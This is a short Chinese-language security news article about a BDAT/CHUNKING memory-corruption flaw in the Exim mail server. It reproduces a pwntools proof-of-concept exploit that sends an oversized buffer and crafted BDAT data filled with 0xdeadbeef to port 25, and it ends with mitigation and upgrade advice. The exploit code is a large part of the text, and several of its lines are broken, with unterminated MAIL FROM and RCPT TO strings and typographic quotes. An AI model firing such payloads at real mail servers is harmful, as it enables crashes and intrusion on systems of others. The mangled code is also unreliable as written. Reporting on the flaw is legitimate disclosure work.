Exim 是劍橋大學開發的一款基于 GPL 協議的開放源代碼軟件,其主要用于連接互聯網 Unix 系統的消息傳輸代理(MTA)服務器。目前,據三月份進行的一百多萬臺郵件服務器的分析表明,超過 56% 的用戶正在使用 Exim 軟件。
調查顯示,該漏洞由一臺公共bug跟蹤器檢測發現并在補丁發布之前意外披露。一旦黑客惡意利用,其系統將會處于崩潰狀態,因為該函數指針的receive_getc并未被重置。以下是該漏洞部分概念驗證代碼(PoC)顯示:
# pip install pwntools
from pwn import *
r = remote(‘localhost’, 25)
r.recvline()
r.sendline(“EHLO test”)
r.recvuntil(“250 HELP”)
r.sendline(“MAIL FROM:
r.recvline()
r.sendline(“RCPT TO:
r.recvline()
#raw_input()
r.sendline(‘a’*0x1100+’’)
#raw_input()
r.recvuntil(‘command’)
r.sendline(‘BDAT 1’)
r.sendline(‘:BDAT ’)
s = ‘a’*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ‘: ’)
r.recvuntil(‘command’)
#raw_input()
r.send(‘ ’)
r.interactive()
exit()
雖然跟蹤器會警示 Exim 軟件存在漏洞,但根據用戶習慣來看告警通知極有可能被忽略。不過,現開發人員已采取安全措施防止此類事件惡意發展,并提醒運行 Exim 4.88 或更高版本的用戶將其主要配置參數 chunking_advertise_hosts 設置為空值,從而禁用 ESMTP 擴展、使 BDAT 無法使用,以便關閉易受攻擊程序。
另外,研究人員發現的另一個漏洞能夠允許黑客利用 BDAT 命令與惡意函數遠程開展拒絕服務(DoS)攻擊。該漏洞影響了 Exim 4.88 和 4.89 中的 SMTP 后臺進程。對此,研究人員建議系統管理人員盡快更新至 Exim 4.90 版本,以防可能的黑客惡意攻擊。